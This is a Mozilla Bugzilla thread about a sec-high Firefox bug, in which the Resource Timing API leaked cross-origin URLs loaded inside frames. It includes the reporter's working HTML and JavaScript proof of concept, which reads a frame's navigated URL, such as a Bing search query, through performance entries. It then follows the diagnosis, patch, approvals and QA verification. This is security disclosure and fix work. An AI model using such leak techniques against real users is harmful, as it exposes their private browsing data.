James Lee Reporter
	Description • 6 years ago

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36

Steps to reproduce:

The fix for this issue https://bugzilla.mozilla.org/show_bug.cgi?id=1468523 has correctly addressed, we can not reproduce by changing the location using a meta-refresh.

It alerts "http://pwning.click/con.html" when we run this inside a frame, which is expected result.

Test live on: http://pwning.click/redirffeg.html

However, we can reproduce this issue by changing its location using JavaScript location property. Note that the page need to run inside a frame.

Test live on: http://pwning.click/redirffeg2.html

Proof Of Concept:

redirffeg2.html:

<iframe src="http://pwning.click/ffredirtest.html"/></iframe>

ffredirtest.html:

<embed src="/ffloctest.html">
<script>
setTimeout(function(){alert(performance.getEntriesByType("resource")[1].name)},5000);
</script>
<b>
<br>
<br>
<br>
Type anything into the search bar and press ENTER! 
<br>
<br>
<br>
Then I'll figure out your secret search!
</b>

ffloctest.html:

<script>location="https://www.bing.com/search?q=test"</script>


Tested on Firefox Nightly 63.0a1 (2018-08-31) (64-bit)


Actual results:

Mozilla Firefox allows us to access Cross-Origin URL.


Expected results:

Accessing to Cross-Origin URL should be not possible.

	James Lee Reporter
	Comment 1 • 6 years ago

Note that this only works on Firefox browser (All versions).

	:Gijs (he/him)
	Comment 2 • 6 years ago

Dragana, given you fixed the other bug, is this something you can take a look at?

	Jason Duell
	Comment 3 • 6 years ago

Dragana tells me she should get to this in a day or two

	Andrew Overholt [:overholt]
	Comment 4 • 6 years ago

Thanks, Dragana!

	Honza Bambas (:mayhemer)
	Comment 5 • 6 years ago

Taking the bug from Dragana after a F2F discussion.

The check whether to add an entry (a channel) to a perf storage is made at [1].  I would expect we get blocked there, but we don't.  The story is way different.

Taking the redirffeg2.html PoC and serving it locally to have a control over it, I ran the following tests and monitored load info and loading doc of each channel that tried to add itself at [1].


Test #1, the PoC for this bug, location="":

"http://test.local/bugs/1487964/ffredirtest.html" 
 - innerWindow=0x00000228c56be820, 
 - perf=0x00000228c62a6000, 
 - mLoadInfo->TP=0x00000228bab6138c "http://test.local/bugs/1487964/redirffeg2.html"
 - loadingDoc->NP=0x00000228bab6138c "http://test.local/bugs/1487964/redirffeg2.html"

"http://test.local/bugs/1487964/ffloctest.html" 
 - innerWindow=0x00000228bd173020, 
 - perf=0x00000228c6281000, 
 - mLoadInfo->TP=0x00000228c62e260c "http://test.local/bugs/1487964/ffredirtest.html", 
 - loadingDoc->NP=0x00000228c62e260c "http://test.local/bugs/1487964/ffredirtest.html"

"https://www.bing.com/search?q=test" 
 - innerWindow=0x00000228bd173020, 
 - perf=0x00000228c6281000, 
 - mLoadInfo->TP=0x00000228c62e808c "http://test.local/bugs/1487964/ffloctest.html",  
 - loadingDoc->NP=0x00000228c62e260c "http://test.local/bugs/1487964/ffredirtest.html"

Note that the last entry's innerWindow and perf (=mozilla::dom::Performance) are the same object as for the ffloctest.html load (the one with <script>location="...").  

Hence according the (for me kinda disputable) check at [1] this is not cross origin at all.


Test #2, meta refresh: 
just a single entry in the list, but 3 are trying (and passing the check at [1]!) to be added.  The listing looks exactly the same as for the above test.  But the difference in the result (=no-leak) is that we are adding the entries using the originalURI of the channel - which in the case of a meta refresh is "http://test.local/bugs/1487964/ffloctest.html" for ffloctest.html and also for www.bing.com.



Test #3, 302 redirect:
"http://test.local/bugs/1487964/ffredirtest.html" 
 - innerWindow=0x00000228c56bb820, 
 - perf=0x00000228c624a000, 
 - mLoadInfo->TP=0x00000228bab6138c "http://test.local/bugs/1487964/redirffeg2.html",  
 - loadingDoc->NP=0x00000228bab6138c "http://test.local/bugs/1487964/redirffeg2.html"


"https://www.bing.com/search?q=test" 
 - innerWindow=0x00000228c39ca820, 
 - perf=0x00000228c5660000, 
 - mLoadInfo->TP=0x00000228c633e10c "http://test.local/bugs/1487964/ffredirtest.html", 
 - loadingDoc->NP=0x00000228c633e10c "http://test.local/bugs/1487964/ffredirtest.html"

Only two entries are trying to add themselves, because the ffloctest.html channel doesn't get a chance to be added (OnStopRequest is never called for a redirected HttpChannelChild, this may be different with e10s off!)  And, as we are adding using the originalURL, it will show up as "http://test.local/bugs/1487964/ffloctest.html" in the performance entries listing, but is actually for the "bing.com" load.

Bug 1185256 fixed redirects for back/forward nav and session restore by correct propagation of the originalURL between the channels through docshell.

Bug 1468523 fixed regression from combination of that bug and bug 1319111 by correctly setting the result principal URI on the meta refresh target channel.

I don't think we want to treat location=".." assignment as a redirect.  We want to treat it as a navigation - right?  We do treat meta refresh as a redirect, though.


To sum - I'm not sure what exactly to do here.  I am also not sure what resources should be visible in the entries list and which not.  If a page loads a cross-origin script, should it be visible to the page? (assuming yes)  If that page is iframe-ed, should parent see its cross origin resources?  Should parent see any resource of the iframe-ed page? (no idea)

Based on answers, I think the check at [1] should be changed or enhanced.


[1] https://searchfox.org/mozilla-central/rev/881a3c5664ede5e08ee986d76433bc5c4b5680e6/netwerk/protocol/http/HttpBaseChannel.cpp#4381
[2] https://searchfox.org/mozilla-central/rev/881a3c5664ede5e08ee986d76433bc5c4b5680e6/dom/performance/PerformanceTiming.cpp#56-60

	Honza Bambas (:mayhemer)
	Comment 7 • 6 years ago

Note that the check at [1] from comment 5 comes from bug 1408990.

	Anne (:annevk)
	Comment 8 • 6 years ago

I hope I got the Gecko terminology correct here: inner windows (WindowProxy in the HTML Standard) are best not compared as they're shared across multiple outer windows (the Window object; where you want to make security checks on or on its associated document).

However, from https://w3c.github.io/performance-timeline/#getentries-method-0 and also https://w3c.github.io/navigation-timing/ it's not clear to me why these PerformanceEntry objects would ever be created for a different global. I'm guessing that's happening here because the <embed> initial load is done in the load group (fetch group in the standard, but basically not defined) of the parent and only once a docshell (browsing context) is created, does it get moved. So presumably something is messed up there, coupled with the fact that none of this is defined properly and performance timing isn't even grounded in terms of Fetch, despite us complaining about that for years...

	Boris Zbarsky [:bzbarsky]
	Comment 9 • 6 years ago

> I hope I got the Gecko terminology correct here

You have it backwards.  Inner windows are Window; outer windows are WindowProxy.

Past that, my take is that in fact figuring out what should be happening with resource timing is more or less impossible and we should disable the API altogether until the working group addresses that.  In particular, the lack of a processing model makes it hard to answer basic questions like "when a load is being done in an <embed>, what global's resource timing list should be used in which cases and why"?

To answer the specific questions from comment 5:

> I don't think we want to treat location=".." assignment as a redirect.

Correct.  When the location="..." set happens in the <embed>, the triggering principal should be whatever started the load.  That part is correct in the information in comment 5.  A location set is _not_ a redirect, so the originalURI should not stay the same across it.  In any case, I suspect that replacing that location set by <a href> probably has the same behavior.

> To sum - I'm not sure what exactly to do here.  I am also not sure what resources 
> should be visible in the entries list and which not. 

Yep.  Neither is anyone else, which is why i think we should disable the API.

What happens if the <embed> is replaced by <iframe>?  Does the behavior stay the same?  That is, is this a general "loads of a new document in a child browsing context are treated as subresources of the parent page" issue, or is there something <embed>-specific there?  I'm pretty sure this came up before, but I don't recall what the decision was about what the right behavior here is (again, the spec doesn't really say) or whether that decision got implemented.

> If a page loads a cross-origin script, should it be visible to the page?

The URL the page started loading should be.  If there are redirects they should not show up.

> Should parent see any resource of the iframe-ed page?

For subresources, no.  For navigations in the iframe, unclear.

	Panos Astithas (he/him) [:past] (please ni?)
	Comment 10 • 6 years ago

My understanding, and please correct me if I'm wrong, is that we don't know how to fix this bug because we don't know how to do so while remaining spec-compliant. I can drive this discussion in the working group, but can someone more familiar with these details than me file a spec issue?

https://github.com/w3c/navigation-timing/issues/new

Ideally we wouldn't provide any unnecessary details that could lead to an exploit before we get a chance to fix this.

Which part of navigation-timing are we considering disabling?

	Boris Zbarsky [:bzbarsky]
	Comment 11 • 6 years ago

The summary of the situation as I see it is:

1)  We can't tell whether we're spec-compliant now or not, nor whether we would be after various fixes to this bug.  This is due to the spec not having a well-defined processing model, and not having useful tests, as far as I can see.

2)  We have had a significant number of security bugs in our implementation of this spec, due to the lack of clear definition of the processing model.  As a result, instead of a single security analysis being done once, in the spec, every implementation has to do their own, and we haven't been able to devote sufficient resources to that.

3)  The spec has informative text that is presumably intended to clarify things but seems to directly contradict  the normative spec text.

The relevant spec here is resource-timing.  I think we should disable all of it.

I filed https://github.com/w3c/resource-timing/issues/166

	James Lee Reporter
	Comment 12 • 6 years ago

Just for the note, None of other browsers are going to disable resource timing API all together at the time.

	Boris Zbarsky [:bzbarsky]
	Comment 13 • 6 years ago

I'm aware of that.  I just don't think we should keep shipping this given the longstanding lack of a spec and unwillingness on the part of the working group to fix that.  If this API were coming up with an intent to ship right now, I would object to shipping it.

	James Lee Reporter
	Comment 14 • 6 years ago

I see. Also, worth to note that Google and Apple fixed this issue by disabling performance.getEntriesByType("resource")[1], so it's always undefined when we use performance.getEntriesByType("resource")[1] on Google Chrome and Apple Safari. So this should be a correct fix for this issue as we can not trigger redirection / navigation tricks using getEntriesByType("resource")[1] anymore. It appears that Mozilla Firefox for Windows and Android doesn't have history back-forward navigation reveal problem too so this should resolve this problem.

	James Lee Reporter
	Comment 15 • 6 years ago

Btw, from the comment 9 - "or is there something <embed>-specific there?", this is not embed specific, it's same behavior on Iframe and Object on Mozilla Firefox. In certain browsers yes, there is something embed specific. For example, we can reveal latest Cross-Origin URL continuously using history.back(); on Internet Explorer with embed because after back-forward navigation embed tag on Internet Explorer will save the latest updated page inside embed tag even after back-forward navigation. This doesn't happen when you use Iframe and Object, page inside a frame is resetted to Original URL. So that's browser specific behavior, but this does not include Mozilla Firefox, in fact it doesn't even allow to use back-forward navigation on Mozilla Firefox for Windows and Android.

	James Lee Reporter
	Comment 16 • 6 years ago

Anyways, this only affects Mozilla Firefox. Disabling performance.getEntriesByType("resource")[1] like what Google and Apple did will resolve this problem.

	James Lee Reporter
	Comment 17 • 6 years ago

It appears that I can not attach screenshot on this comment, but I believe it's unnecessary as anyone can test this immediately on Google Chrome or Apple Safari.

	James Lee Reporter
	Comment 18 • 6 years ago

Ah, I meant Google and Apple blocked from reading .name of the resource[1] so it always return undefined when we use .name after resource[1].

	James Lee Reporter
	Comment 19 • 6 years ago

Which allows us to use performance.getEntriesByType("resource")[1] but being not able to read url anymore. Thus, redirection / navigation tricks can't be triggered anymore.

	Honza Bambas (:mayhemer)
	Comment 20 • 6 years ago

I'm not sure what info you need from me.  I was just diagnosing one of the bugs of this type, nothing more.

	Boris Zbarsky [:bzbarsky]
	Comment 21 • 6 years ago

The screenshot I was sent just shows that performance.getEntriesByType("resource")[1] doesn't exist in Chrome.  The question is whether performance.getEntriesByType("resource")[0] exists and if so what its .name is.

In general, the really interesting thing is to stop poking at specific indices or types and just look at 

  Array.prototype.slice.call(performance.getEntries()).map((e) => e.name)

which will give you all the URLs you can get out via the performance timing APIs.  In this case, at least in Chrome, you can see that the history navigation is not showing up in the list at all.

	Boris Zbarsky [:bzbarsky]
	Comment 22 • 6 years ago

I guess you could do it even more simply in browsers that support webidl iterator bits (which might be  all of them now):

   performance.getEntries().map(e => e.name)

	James Lee Reporter
	Comment 23 • 6 years ago

yes, performance.getEntriesByType("resource")[0] exists in Chrome (and all other browsers that supports resource timing API) and its name returns the URL before the redirection, so Cross-Origin URL reveal issue not possible at least with these tricks. Although, Chrome allowed history navigation as I mentioned before, so one could continuously reveal the Cross-Origin URL. This was fixed on Chrome 70 update yesterday.

	James Lee Reporter
	Comment 24 • 6 years ago

Following is the advisory link: https://chromereleases.googleblog.com/2018/10/stable-channel-update-for-desktop.html

	James Lee Reporter
	Comment 25 • 6 years ago

Btw, revealing Cross-Origin history navigation also works on Firefox but only on Firefox for iOS.

	Boris Zbarsky [:bzbarsky]
	Comment 26 • 6 years ago

Firefox for iOS would have the same behavior as Safari here.

	James Lee Reporter
	Comment 27 • 6 years ago

It appears that their behaviors are not same for some test cases.

Anyways, that would be the correct fix for this issue.

	Christoph Kerschbaumer [:ckerschb]
	Comment 29 • 6 years ago

Hey Valentin, I think there is a semantic bug in the current implementation, in particular here [1]:
> if (!mLoadInfo->TriggeringPrincipal()->Equals(loadingDocument->NodePrincipal())) {
>  return nullptr;
> } 

That will only add same-origin loads to the docoument's performance entries, but for iframe loads you are comparing the triggeringPrincipal with the NodePrincipal of the iframe document not the parent document.

I guess in the iframe case we want to compare the triggeringPrincipal with the loadingDocument->GetParentDocument()->NodePrincipal.

What do you think?

[1] https://searchfox.org/mozilla-central/source/netwerk/protocol/http/HttpBaseChannel.cpp#4392

	Boris Zbarsky [:bzbarsky]
	Comment 30 • 6 years ago

Valentin, please see my questions in the phabricator review.

	Valentin Gosu [:valentin] (he/him) Assignee
	Comment 31 • 6 years ago

Comment on attachment 9019327 [details]
Bug 1487964 - Do not report resource-timing subdocument loads triggered by that subdocument r?bzbarsky!

[Security Approval Request]

How easily could an exploit be constructed based on the patch?: Fairly easily

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Yes

Which older supported branches are affected by this flaw?: all

If not all supported branches, which bug introduced the flaw?: None

Do you have backports for the affected branches?: Yes

If not, how different, hard to create, and risky will they be?: 

How likely is this patch to cause regressions; how much testing does it need?: The risk of regressions is small.
The code is covered by unit tests so I requires a minimal amount of testing.

	Christoph Kerschbaumer [:ckerschb]
	Comment 32 • 6 years ago

Valentin, I see you are setting a bit in the loadinfo, but you don't serialize that bit in BackgroundUtils (somewhere around here [1]). To avoid additional problems, that's probably worth doing - thanks!

[1] https://searchfox.org/mozilla-central/source/ipc/glue/BackgroundUtils.cpp#296

	Valentin Gosu [:valentin] (he/him) Assignee
	Comment 33 • 6 years ago

(In reply to Christoph Kerschbaumer [:ckerschb] from comment #32)
> Valentin, I see you are setting a bit in the loadinfo, but you don't
> serialize that bit in BackgroundUtils (somewhere around here [1]). To avoid
> additional problems, that's probably worth doing - thanks!

Thanks for pointing that out. I fixed it in the latest revision, if you care to take a look.
Is there a way of making the serialization future-proof? Maybe a static_assert regarding the size of LoadInfo, so that it fails if any new members are added?

	Christoph Kerschbaumer [:ckerschb]
	Comment 34 • 6 years ago

(In reply to Valentin Gosu [:valentin] from comment #33)
> (In reply to Christoph Kerschbaumer [:ckerschb] from comment #32)
> > Valentin, I see you are setting a bit in the loadinfo, but you don't
> > serialize that bit in BackgroundUtils (somewhere around here [1]). To avoid
> > additional problems, that's probably worth doing - thanks!
> 
> Thanks for pointing that out. I fixed it in the latest revision, if you care
> to take a look.
> Is there a way of making the serialization future-proof? Maybe a
> static_assert regarding the size of LoadInfo, so that it fails if any new
> members are added?

Thanks for incorporating that change. I agree, current practice of manually adding serialization code to BackgroundUtils.cpp and hoping that people don't forget to do that is not very bullet proof. FWIW, I filed Bug 1506108 to investigate if we can add some guards to make it harder to shoot ourselves in the foot.

	Al Billings [:abillings - ex-MoCo]
	Comment 35 • 6 years ago

Is the patch with sec-approval? the final patch?

	Valentin Gosu [:valentin] (he/him) Assignee
	Comment 36 • 6 years ago

(In reply to Al Billings [:abillings] from comment #35)
> Is the patch with sec-approval? the final patch?

Yes.

	Al Billings [:abillings - ex-MoCo]
	Comment 37 • 6 years ago

Ryan, I'd like to give sec-approval+ now and take this on beta and ESR60. Can I get a nod from you?

	Ryan VanderMeulen [:RyanVM]
	Comment 38 • 6 years ago

Sounds fine to me.

	Al Billings [:abillings - ex-MoCo]
	Comment 41 • 6 years ago

Comment on attachment 9019327 [details]
Bug 1487964 - Do not report resource-timing subdocument loads triggered by that subdocument r?bzbarsky!

sec-approval+ for trunk.

If the other patches are for beta and ESR60, please nominate them.

	Valentin Gosu [:valentin] (he/him) Assignee
	Comment 42 • 6 years ago

Comment on attachment 9026117 [details] [diff] [review]
[beta] Do not report resource-timing subdocument loads triggered by that subdocument

[Beta/Release Uplift Approval Request]

Feature/Bug causing the regression: unknown/always existed

User impact if declined: Potential leak of URL inside iframe/frame/embed/object

Is this code covered by automated tests?: Yes

Has the fix been verified in Nightly?: No

Needs manual test from QE?: Yes

If yes, steps to reproduce: It would be good to attempt to reproduce previous resource-timing bugs, and make sure none of them still happens. Ping me for the list of bugs.

List of other uplifts needed: None

Risk to taking this patch: Low

Why is the change risky/not risky? (and alternatives if risky): The code just introduces an additional security check for frames.

String changes made/needed:

	Valentin Gosu [:valentin] (he/him) Assignee
	Comment 43 • 6 years ago

Comment on attachment 9026116 [details] [diff] [review]
[esr60] Do not report resource-timing subdocument loads triggered by that subdocument

[ESR Uplift Approval Request]

If this is not a sec:{high,crit} bug, please state case for ESR consideration: sec:high

User impact if declined: Potential leak of URL inside iframe/frame/embed/object

Fix Landed on Version: 65

Risk to taking this patch: Low

Why is the change risky/not risky? (and alternatives if risky): The code just introduces an additional security check for frames.

String or UUID changes made by this patch:

	Valentin Gosu [:valentin] (he/him) Assignee
	Comment 46 • 6 years ago

https://hg.mozilla.org/integration/autoland/rev/78665669badebd0088569691b6c7df09e2286d84

	Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)
	Comment 47 • 6 years ago

First landing: https://hg.mozilla.org/mozilla-central/rev/395b95afd795
Backout: https://hg.mozilla.org/mozilla-central/rev/08c81bf21758

Reland from comment 46 merged to central: https://hg.mozilla.org/mozilla-central/rev/78665669bade

	Valentin Gosu [:valentin] (he/him) Assignee
	Comment 49 • 6 years ago

Comment on attachment 9026922 [details] [diff] [review]
[esr60] Do not report resource-timing subdocument loads triggered by that subdocument

see comment 43

	Valentin Gosu [:valentin] (he/him) Assignee
	Comment 50 • 6 years ago

Comment on attachment 9026728 [details] [diff] [review]
[beta] Do not report resource-timing subdocument loads triggered by that subdocument

see comment 42

	Julien Cristau [:jcristau]
	Comment 51 • 6 years ago

Comment on attachment 9026728 [details] [diff] [review]
[beta] Do not report resource-timing subdocument loads triggered by that subdocument

sec-high fix, approved for 64.0b12

	Julien Cristau [:jcristau]
	Comment 52 • 6 years ago
uplift

https://hg.mozilla.org/releases/mozilla-beta/rev/4fcfd15911a112ef9444082b78bfcc41ec974216

	Ryan VanderMeulen [:RyanVM]
	Comment 53 • 6 years ago

Comment on attachment 9026922 [details] [diff] [review]
[esr60] Do not report resource-timing subdocument loads triggered by that subdocument

Fixes a sec-high. Approved for 60.4.0esr also.

	Alexandru Simonca [:asimonca], Release Desktop QA
	Comment 54 • 6 years ago

> Needs manual test from QE?: Yes
> 
> If yes, steps to reproduce: It would be good to attempt to reproduce
> previous resource-timing bugs, and make sure none of them still happens.
> Ping me for the list of bugs.

Taking Comment #42 into consideration I have talked to Valentin Gosu and got the list of bugs that need verifying in order for this bug to be considered verified fixed. The list is:

- https://bugzilla.mozilla.org/show_bug.cgi?id=1468523
- https://bugzilla.mozilla.org/show_bug.cgi?id=1254688
- https://bugzilla.mozilla.org/show_bug.cgi?id=1408990

None of these were affected by the fix to this bug, so I consider this issue to be VERIFIED FIXED for firefox 64 and 65.

	Ryan VanderMeulen [:RyanVM]
	Comment 55 • 6 years ago
uplift

https://hg.mozilla.org/releases/mozilla-esr60/rev/a72ec8e21577

	Alexandru Simonca [:asimonca], Release Desktop QA
	Comment 56 • 6 years ago

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0

Also verified on yesterday's ESR 60 build from taskcluster, build id: 20181126170438 on Windows 10 x64.